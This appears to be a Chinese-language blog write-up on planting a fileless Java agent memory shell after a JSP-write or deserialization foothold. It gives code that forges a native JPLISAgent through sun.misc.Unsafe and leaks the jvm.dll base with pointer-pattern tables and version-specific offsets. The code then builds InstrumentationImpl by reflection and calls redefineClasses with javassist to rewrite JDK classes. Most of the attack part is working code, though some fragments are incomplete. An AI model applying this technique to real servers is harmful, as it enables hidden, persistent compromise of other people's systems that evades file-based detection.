无文件落地Agent型内存马植入
可行性分析
使用jsp写入或者代码执行漏洞,如反序列化等,不需要上传agent
Java 动态调试技术原理及实践 - 美团技术团队 (meituan.com)
首先,我们先看一下通过Agent动态修改类的流程:
1.在客户端和目标JVM建立IPC连接以后,客户端会封装一个用来加载agent.jar的AttachOperation对象,这个对象里面有三个关键数据:actioName、libName和agentPath;
2.服务端收到AttachOperation后,调用enqueue压入AttachOperation队列等待处理;
3.服务端处理线程调用dequeue方法取出AttachOperation;
4.服务端解析AttachOperation,提取步骤1中提到的3个参数,调用actionName为load的对应处理分支,然后加载libinstrument.so(在windows平台为instrument.dll),执行AttachOperation的On_Attach函数(由此可以看到,Java层的instrument机制,底层都是通过Native层的Instrument来封装的);
5.libinstrument.so中的On_Attach会解析agentPath中指定的jar文件,该jar中调用了redefineClass的功能;
6.执行流转到Java层,JVM会实例化一个InstrumentationImpl类,这个类在构造的时候,有个非常重要的参数mNativeAgent:
这个参数是long型,其值是一个Native层的指针,指向的是一个C++对象JPLISAgent。7.InstrumentationImpl实例化之后,再继续调用InstrumentationImpl类的redefineClasses方法,做稍许校验之后继续调用InstrumentationImpl的Native方法redefineClasses0
8.执行流继续走入Native层:
以上是议题中的原文。个人解释一下自己的理解
我们在server端的agentmain处下断点,可以发现server端的调用栈是从InstrumentationImpl类开始的,这就是原文中的第六步,而之前几步都是client 或者native层的操作。因此在java层,我们可以直接从InstrumentationImpl类入手构造恶意代码。
这样就要先构造InstrumentationImpl类,看一下构造函数,结合之前debug生成的信息,发现var3=true,var4=false,需要构造的只要var1,即mNativeAgent,这个参数是long型,其值是一个Native层的指针,指向的是一个C++对象JPLISAgent。说明我们需要在native层构造合适的C++对象JPLISAgent。
private InstrumentationImpl(long var1, boolean var3, boolean var4) {
this.mNativeAgent = var1;//这个参数
this.mEnvironmentSupportsRedefineClasses = var3;
this.mEnvironmentSupportsRetransformClassesKnown = false;
this.mEnvironmentSupportsRetransformClasses = false;
this.mEnvironmentSupportsNativeMethodPrefix = var4;
}
组建JPLISAgent
native内存操作
(32条消息) java native内存_JVM Heap Memory和Native Memory_海阔山高人为峰的博客-CSDN博客
https://xz.aliyun.com/t/10186#toc-1
我们要在native层创建对象,就必然要操作native内存,即堆外内存。可以使用directByteBuffer,看一下directByteBuffer的实现,其主要是对unsafe进行了一个封装,主要内存操作还是调用unsafe。因此使用unsafe也可以实现内存分配。
DirectByteBuffer(int cap) { // package-private
super(-1, 0, cap, cap);
boolean pa = VM.isDirectMemoryPageAligned(); //是否页对齐
int ps = Bits.pageSize(); //获取pageSize大小
long size = Math.max(1L, (long) cap + (pa ? ps : 0)); //如果是页对齐的话,那么就加上一页的大小
Bits.reserveMemory(size, cap); //对分配的直接内存做一个记录
long base = 0;
try {
base = unsafe.allocateMemory(size); //实际分配内存
} catch (OutOfMemoryError x) {
Bits.unreserveMemory(size, cap);
throw x;
}
unsafe.setMemory(base, size, (byte) 0); //初始化内存
//计算地址
if (pa && (base % ps != 0)) {
// Round up to page boundary
address = base + ps - (base & (ps - 1));
} else {
address = base;
}
//生成Cleaner
cleaner = Cleaner.create(this, new Deallocator(base, size, cap));
att = null;
}
Unsafe unsafe = null;
try { Field field = sun.misc.Unsafe.class.getDeclaredField("theUnsafe"); field.setAccessible(true); unsafe = (sun.misc.Unsafe) field.get(null);} catch (Exception e) { throw new AssertionError(e);}
分析JPLISAgent结构
struct _JPLISAgent {
JavaVM * mJVM; /* handle to the JVM */
JPLISEnvironment mNormalEnvironment; /* for every thing but retransform stuff */
JPLISEnvironment mRetransformEnvironment;/* for retransform stuff only */
jobject mInstrumentationImpl; /* handle to the Instrumentation instance */
jmethodID mPremainCaller; /* method on the InstrumentationImpl that does the premain stuff (cached to save lots of lookups) */
jmethodID mAgentmainCaller; /* method on the InstrumentationImpl for agents loaded via attach mechanism */
jmethodID mTransform; /* method on the InstrumentationImpl that does the class file transform */
jboolean mRedefineAvailable; /* cached answer to "does this agent support redefine" */
jboolean mRedefineAdded; /* indicates if can_redefine_classes capability has been added */
jboolean mNativeMethodPrefixAvailable; /* cached answer to "does this agent support prefixing" */
jboolean mNativeMethodPrefixAdded; /* indicates if can_set_native_method_prefix capability has been added */
char const * mAgentClassName; /* agent class name */
char const * mOptionsString; /* -javaagent options string */
};
JPLISAgent结构复杂,所以我们从后面的redefineclass入手,看一下哪些参数需要。
void
redefineClasses(JNIEnv * jnienv, JPLISAgent * agent, jobjectArray classDefinitions) {
jvmtiEnv* jvmtienv = jvmti(agent);
jboolean errorOccurred = JNI_FALSE;
jclass classDefClass = NULL;
jmethodID getDefinitionClassMethodID = NULL;
jmethodID getDefinitionClassFileMethodID = NULL;
jvmtiClassDefinition* classDefs = NULL;
jbyteArray* targetFiles = NULL;
jsize numDefs = 0;
...
这里根据用法可以看出jvmti是一个宏或函数,搜索一下可以发现这是个宏
可以确定redefineclass需要mNormalEnvironment参数。
来看一下这个参数的结构。
struct _JPLISEnvironment {
jvmtiEnv * mJVMTIEnv; /* the JVM TI environment */
JPLISAgent * mAgent; /* corresponding agent */
jboolean mIsRetransformer; /* indicates if special environment */
};
可以看到这个结构里存在一个回环指针mAgent,又指向了JPLISAgent对象,另外,还有个最重要的指针mJVMTIEnv,这个指针是指向内存中的JVMTIEnv对象的,这是JVMTI机制的核心对象。另外,经过分析,JPLISAgent对象中还有个mRedefineAvailable成员,必须要设置成true。
定位JVMTIEnv
这里rebeyond师傅用的是动态调试方法。本人不太会,主要是不知道是如何定位JPLISAgent地址的。
因此参考https://xz.aliyun.com/t/10186#toc-3中的技术
思路整理:游望之师傅的文章https://xz.aliyun.com/t/10186#toc-3
通过
JNI_GetCreatedJavaVMs(&vm, 1, &count);
获取vm对象,然后
vm->functions->GetEnv(vm, (void **)&_jvmti_env, JVMTI_VERSION_1_2);
获取_jvmti_env。
以上代码都是java原生libjava.so中的方法。通过elf导出符号定位想要将之替换的导出函数,进行内存修改即可完成native层的调用。
个人的windows实现思路(未实现)
配合之前的进程注入执行任意native代码,GetModuleHandle获取jvm.dll的地址,然后因为rebeyond师傅测试出JVMTIEnv对象存在于jvm模块的地址空间中,而且偏移量是固定的,那么我们尝试另外编写一个JNI程序,然后调用
vm->functions->GetEnv(vm, (void **)&_jvmti_env, JVMTI_VERSION_1_2);
获取_jvmti_env地址与jvm.dll的地址对比即可得到偏移量。
jni程序c代码
#include "pch.h"
#include "getAgent.h"
#include"getJPSAgent.h"
#include "jvmti.h"
JNIEXPORT void JNICALL Java_getJPSAgent_caloffset
(JNIEnv*, jobject) {
struct JavaVM_* vm;
jsize count;
typedef jint(JNICALL* GetCreatedJavaVMs)(JavaVM**, jsize, jsize*);
//本来想直接调用GetCreatedJavaVMs函数但是缺少特定头文件,因此只能typedef定义另一个结构相同的函数
GetCreatedJavaVMs jni_GetCreatedJavaVMs;
// ...
jni_GetCreatedJavaVMs = (GetCreatedJavaVMs)GetProcAddress(GetModuleHandle(
TEXT("jvm.dll")), "JNI_GetCreatedJavaVMs");
//由于jvm.dll在java程序开始时就已经加载,因此可以直接获取dll中JNI_GetCreatedJavaVMs的地址
jni_GetCreatedJavaVMs(&vm, 1, &count);//获取jvm对象的地址
struct jvmtiEnv_* _jvmti_env;
HMODULE jvm = GetModuleHandle(L"jvm.dll");//获取jvm基址
vm->functions->GetEnv(vm, (void**)&_jvmti_env, JVMTI_VERSION_1_2);//获取_jvmti_env的地址,即即指向JVMTIEnv指针的指针。
printf(" hModule jvm = 0x%llx\n", jvm);
printf(" struct JavaVM_* vm = 0x%llx\n", vm);
printf(" _jvmti_env = 0x%llx\n", _jvmti_env);
;
}
再用x64dbg attach进程查看_jvmti_env的内容,绿线标出的就是JVMTIEnv的地址
多次计算可以发现此java版本的jvmti_env对jvm.dll基址的偏移量固定,为0x9D6760。
此时,需要解决jvm基址的问题,由于aslr的原因,jvm基址不固定。这里有两种方法,一种为rebeyond师傅介绍的技术信息泄露获取JVM基址,另一种尝试配合之前的进程注入执行任意native代码,GetModuleHandle获取jvm.dll的地址。(没试过)
信息泄露获取JVM基址
这里rebeyond师傅的思路应该是 先使用unsafe来allocate一块很小的内存,并且打印出它的地址。这样在进行动态调试时就可以直接定位到这块内存。而在这块内存空间周围有一些可疑的指针,查看一下正好有直接指向jvm.dll基址的指针。
编写如下代码:
long allocateMemory = unsafe.allocateMemory(3);System.out.println("allocateMemory:"+Long.toHexString(allocateMemory));
输出如下:
定位到地址0x20F03026430:
可见前后有很多指针,绿色的那些指针,都指向jvm的地址空间内:
由于这些指针不是固定的,每次调试都会有不同的结果,但是是伪随机,有一定的规律。因此rebeyond师傅使用了统计学的方法,编写程序反复收集对应的数据,将指针地址后两位,指针指向的内容的后两位,以及该指针与jvm.dll基址的偏移量,收集成表。再后续判断基址时,通过前两项判断指针是否有效,通过偏移量来确定jvm.dll的基址。
String patterns = "'3920':'a5b0':'633920','fe00':'a650':'60fe00','99f0':'cccc':'5199f0','8250':'a650':'638250','d200':'fdd0':'63d200','da70':'b7e0':'67da70','8d58':'a650':'638d58','f5c0':'b7e0':'67f5c0','8300':'8348':'148300','4578':'a5b0':'634578','b300':'a650':'63b300','ef98':'07b0':'64ef98','f280':'06e0':'60f280','5820':'4ee0':'5f5820','84d0':'a5b0':'5b84d0','00f0':'5800':'8300f0','1838':'b7e0':'671838','9f60':'b320':'669f60','e860':'08d0':'64e860','f7c0':'a650':'60f7c0','a798':'b7e0':'69a798','6888':'21f0':'5f6888','2920':'b6f0':'642920','45c0':'a5b0':'5d45c0','e1f0':'b5c0':'63e1f0','e128':'b5e0':'63e128','86a0':'4df0':'5b86a0','55a8':'64a0':'6655a8','8b98':'a650':'638b98','8a10':'b730':'648a10','3f10':'':'7b3f10','8a90':'4dc0':'5b8a90','e8e0':'0910':'64e8e0','9700':'7377':'5b9700','f500':'7073':'60f500','6b20':'a5b0':'636b20','b378':'bc50':'63b378','7608':'fb50':'5f7608','5300':'8348':'105300','8f18':'ff20':'638f18','7600':'3db0':'667600','92d8':'6d6d':'5e92d8','8700':'b200':'668700','45b8':'a650':'6645b8','8b00':'82f0':'668b00','1628':'a5b0':'631628','c298':'6765':'7bc298','7a28':'39b0':'5b7a28','3820':'4808':'233820','dd00':'c6a0':'63dd00','0be0':'a5b0':'630be0','aad0':'8e10':'7eaad0','4a98':'b7e0':'674a98','4470':'6100':'824470','6700':'4de0':'696700','a000':'3440':'66a000','2080':'a5b0':'632080','aa20':'64a0':'63aa20','5a00':'c933':'2d5a00','85f8':'4de0':'5b85f8','b440':'b5a0':'63b440','5d28':'1b80':'665d28','efd0':'a5b0':'62efd0','edc8':'a5b0':'62edc8','ad88':'b7e0':'69ad88','9468':'a8b0':'5b9468','af30':'b650':'63af30','e9e0':'0780':'64e9e0','7710':'b2b0':'667710','f528':'e9e0':'62f528','e100':'a5b0':'63e100','5008':'7020':'665008','a4c8':'a5b0':'63a4c8','6dd8':'e7a0':'5c6dd8','7620':'b5a0':'667620','f200':'0ea0':'60f200','d070':'d6c0':'62d070','6270':'a5b0':'5c6270','8c00':'8350':'668c00','4c48':'7010':'664c48','3500':'a5b0':'633500','4f10':'f100':'834f10','b350':'b7e0':'69b350','f5d8':'f280':'60f5d8','bcc0':'9800':'60bcc0','cd00':'3440':'63cd00','8a00':'a1d0':'5b8a00','0218':'6230':'630218','61a0':'b7e0':'6961a0','75f8':'a5b0':'5f75f8','fda8':'a650':'60fda8','b7a0':'b7e0':'69b7a0','f120':'3100':'81f120','ed00':'8b48':'4ed00','f898':'b7e0':'66f898','6838':'2200':'5f6838','e050':'b5d0':'63e050','bb78':'86f0':'60bb78','a540':'b7e0':'67a540','8ab8':'a650':'638ab8','d2b0':'b7f0':'63d2b0','1a50':'a5b0':'631a50','1900':'a650':'661900','6490':'3b00':'836490','6e90':'b7e0':'696e90','9108':'b7e0':'679108','e618':'b170':'63e618','6b50':'6f79':'5f6b50','cdc8':'4e10':'65cdc8','f700':'a1d0':'60f700','f803':'5000':'60f803','ca60':'b7e0':'66ca60','0000':'6a80':'630000','64d0':'a5b0':'6364d0','09d8':'a5b0':'6309d8','dde8':'bb50':'63dde8','d790':'b7e0':'67d790','f398':'0840':'64f398','4370':'a5b0':'634370','ca10':'1c20':'5cca10','9c88':'b7e0':'679c88','d910':'a5b0':'62d910','24a0':'a1d0':'6324a0','a760':'b880':'64a760','90d0':'a880':'5b90d0','6d00':'82f0':'666d00','e6f0':'a640':'63e6f0','00c0':'ac00':'8300c0','f6b0':'b7d0':'63f6b0','1488':'afd0':'641488','ab80':'0088':'7eab80','6d40':'':'776d40','8070':'1c50':'668070','fe88':'a650':'60fe88','7ad0':'a6d0':'667ad0','9100':'a1d0':'699100','8898':'4e00':'5b8898','7c78':'455':'7a7c78','9750':'ea70':'5b9750','0df0':'a5b0':'630df0','7bd8':'a1d0':'637bd8','86b0':'a650':'6386b0','4920':'b7e0':'684920','6db0':'7390':'666db0','abe0':'86e0':'63abe0','e960':'0ac0':'64e960','97a0':'3303':'5197a0','4168':'a5b0':'634168','ee28':'b7e0':'63ee28','20d8':'b7e0':'6720d8','d620':'b7e0':'67d620','0028':'1000':'610028','f6e0':'a650':'60f6e0','a700':'a650':'64a700','4500':'a1d0':'664500','8720':'':'7f8720','8000':'a650':'668000','fe38':'b270':'63fe38','be00':'a5b0':'63be00','f498':'a650':'60f498','d8c0':'b3c0':'63d8c0','9298':'b7e0':'699298','ccd8':'4de0':'65ccd8','7338':'cec0':'5b7338','8d30':'6a40':'5b8d30','4990':'a5b0':'634990','84f8':'b220':'5e84f8','cb80':'bbd0':'63cb80'";
//patterns="'bbf8':'7d00':'5fbbf8','68f8':'17e0':'5e68f8','6e28':'e570':'5b6e28','bd48':'8e10':'5fbd48','4620':'9ff0':'5c4620','ca70':'19f0':'5bca70'";//for windows_java8_301_x64
// patterns="'8b80':'8f10':'ef8b80','9f20':'0880':'f05f20','65e0':'4855':'6f65e0','4f20':'b880':'f05f20','7300':'8f10':'ef7300','aea0':'ddd0':'ef8ea0','1f20':'8880':'f05f20','8140':'8f10':'ef8140','75e0':'4855':'6f65e0','6f20':'d880':'f05f20','adb8':'ddd0':'ef8db8','ff20':'6880':'f05f20','55e0':'4855':'6f65e0','cf20':'3880':'f05f20','05e0':'4855':'6f65e0','92d8':'96d0':'eff2d8','8970':'8f10':'ef8970','d5e0':'4855':'6f65e0','8e70':'4350':'ef6e70','d2d8':'d6d0':'eff2d8','d340':'bf00':'f05340','f340':'df00':'f05340','2f20':'9880':'f05f20','1be0':'d8b0':'f6fbe0','8758':'c2a0':'ef6758','c340':'af00':'f05340','f5e0':'4855':'6f65e0','c5e0':'4855':'6f65e0','b2d8':'b6d0':'eff2d8','02d8':'06d0':'eff2d8','ad88':'ddb0':'ef8d88','62d8':'66d0':'eff2d8','7b20':'3d50':'ef7b20','82d8':'86d0':'eff2d8','0f20':'7880':'f05f20','9720':'8f10':'f69720','7c80':'5850':'ef5c80','25e0':'4855':'6f65e0','32d8':'36d0':'eff2d8','e340':'cf00':'f05340','ec80':'c850':'ef5c80','85e0':'add0':'6f65e0','9410':'c030':'ef9410','5f20':'c880':'f05f20','1340':'ff00':'f05340','b340':'9f00':'f05340','7340':'5f00':'f05340','35e0':'4855':'6f65e0','3f20':'a880':'f05f20','8340':'6f00':'f05340','4340':'2f00':'f05340','0340':'ef00':'f05340','22d8':'26d0':'eff2d8','e5e0':'4855':'6f65e0','95e0':'4855':'6f65e0','19d0':'d830':'f6f9d0','52d8':'56d0':'eff2d8','c420':'b810':'efc420','b5e0':'ddd0':'ef95e0','c2d8':'c6d0':'eff2d8','5340':'3f00':'f05340','df20':'4880':'f05f20','15e0':'4855':'6f65e0','a2d8':'a6d0':'eff2d8','9340':'7f00':'f05340','8070':'add0':'ef9070','f2d8':'f6d0':'eff2d8','72d8':'76d0':'eff2d8','6340':'4f00':'f05340','2340':'0f00':'f05340','3340':'1f00':'f05340','b070':'ddd0':'ef9070','45e0':'4855':'6f65e0','8d20':'add0':'ef9d20','6180':'8d90':'ef6180','8f20':'f880':'f05f20','8c80':'6850':'ef5c80','a5e0':'4855':'6f65e0','ef20':'5880':'f05f20','8410':'b030':'ef9410','b410':'e030':'ef9410','bf20':'2880':'f05f20','e2d8':'e6d0':'eff2d8','bd20':'ddd0':'ef9d20','12d8':'16d0':'eff2d8','9928':'8f10':'f69928','9e28':'8f10':'f69e28','4c80':'2850':'ef5c80','7508':'8f10':'ef7508','1df0':'d940':'f6fdf0'"; //for linux_java8_301_x64
long jvmtiOffset=0x79a220; //for java_8_271_x64 相对基址固定
// jvmtiOffset=0x78a280; //for windows_java_8_301_x64
// jvmtiOffset=0xf9c520; //for linux_java_8_301_x64
List
开始组装
rebeyond师傅的组装代码,这里有些参数不太懂,使用下面反射构造的方法
private static long getAgent(long jvmtiAddress) {
Unsafe unsafe = getUnsafe();
long agentAddr = unsafe.allocateMemory(0x200);
long jvmtiStackAddr = unsafe.allocateMemory(0x200);
unsafe.putLong(jvmtiStackAddr, jvmtiAddress);
unsafe.putLong(jvmtiStackAddr + 8, 0x30010100000071eel);
unsafe.putLong(jvmtiStackAddr + 0x168, 0x9090909000000200l);
System.out.println("long:" + Long.toHexString(jvmtiStackAddr + 0x168));
unsafe.putLong(agentAddr, jvmtiAddress - 0x234f0);
unsafe.putLong(agentAddr + 0x8, jvmtiStackAddr);
unsafe.putLong(agentAddr + 0x10, agentAddr);
unsafe.putLong(agentAddr + 0x18, 0x00730065006c0000l);
//make retransform env
unsafe.putLong(agentAddr + 0x20, jvmtiStackAddr);
unsafe.putLong(agentAddr + 0x28, agentAddr);
unsafe.putLong(agentAddr + 0x30, 0x0038002e00310001l);
unsafe.putLong(agentAddr + 0x38, 0);
unsafe.putLong(agentAddr + 0x40, 0);
unsafe.putLong(agentAddr + 0x48, 0);
unsafe.putLong(agentAddr + 0x50, 0);
unsafe.putLong(agentAddr + 0x58, 0x0072007400010001l);
unsafe.putLong(agentAddr + 0x60, agentAddr + 0x68);
unsafe.putLong(agentAddr + 0x68, 0x0041414141414141l); return agentAddr; }
现在的思路:
先使用JNI获取native_jvmtienv
使用反射构造sun.instrument.InstrumentationImpl对象
Unsafe unsafe = null;
try { Field field = sun.misc.Unsafe.class.getDeclaredField("theUnsafe");
field.setAccessible(true);
unsafe = (sun.misc.Unsafe) field.get(null);}
catch (Exception e) {
throw new AssertionError(e);}
long JPLISAgent = unsafe.allocateMemory(0x1000);
unsafe.putLong(JPLISAgent + 8, native_jvmtienv);
unsafe.putByte(native_jvmtienv + 361, (byte) 2);
Class> instrument_clazz = Class.forName("sun.instrument.InstrumentationImpl");
Constructor> constructor = instrument_clazz.getDeclaredConstructor(long.class, boolean.class, boolean.class);
constructor.setAccessible(true);
Object insn = constructor.newInstance(JPLISAgent, true, false);
然后就可以使用addtransformer方法等。
现在addtransformer方法遇到了问题,抛出异常。主要是这里有一个能否retransform的判断。
这里通过反射更改紫色字段的值可以解决,但是后续在setHasRetransformableTransformers方法处还是会报异常。
因此舍弃通过retransform来更改class的方法。
我们使用redefineClazz来重定义class实现更改。
核心代码
使用javaassist实现类的更改,反射调用redefineClasses来实现class的替换.更改java.io.RandomAccessFile类中getFD方法的代码
public void redefine(Object insn,Class instrument_clazz) throws IOException, CannotCompileException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
ClassPool pool = ClassPool.getDefault();
CtClass string_clazz = null;
string_clazz = pool.get("java.io.RandomAccessFile");
CtMethod method_getname = string_clazz.getDeclaredMethod("getFD");
method_getname.insertBefore("System.out.println(\"hi, from java instrucment api\");");
//CtClass ctClass = pool.makeClass(new FileInputStream("D:\\内存马\\java-agent\\java.io.RandomAccessFile.txt\\java\\io\\RandomAccessFile.class"));//获取Ctclass对象
byte[] bytes = ctClass.toBytecode();//取出其字节码
ClassDefinition definition = new ClassDefinition(Class.forName("java.io.RandomAccessFile"), bytes);//将字节码作为参数,重构java.io.RandomAccessFile
Method redefineClazz = instrument_clazz.getMethod("redefineClasses", ClassDefinition[].class);//反射调用redefineClass
redefineClazz.invoke(insn, new Object[] {
new ClassDefinition[] {
definition
}
});
}
到这里基本完成了无文件型agent内存马。
最后再来整理一下实现思路。
- 首先我们要实现无文件型agent内存马,需要先构造sun.instrument.InstrumentationImpl对象
- 而这个构造函数需要mnativeagent参数,这个参数需要我们定位JVMTIEnv,JVMTIEnv与jvm基址的偏移量固定,因此我们确定jvm基址,这里使用rebeyond师傅的信息泄露获取JVM基址来实现。
- 获得JVMTIEnv后需要先使用unsafe方法在native层创建JPLISAgent指针,并将JVMTIEnv存放在+8偏移处。
- 使用反射构造sun.instrument.InstrumentationImpl对象,并调用相关方法
- 配合javaassist更改需要的类的字节码,调用redefineClasses来实现class的替换。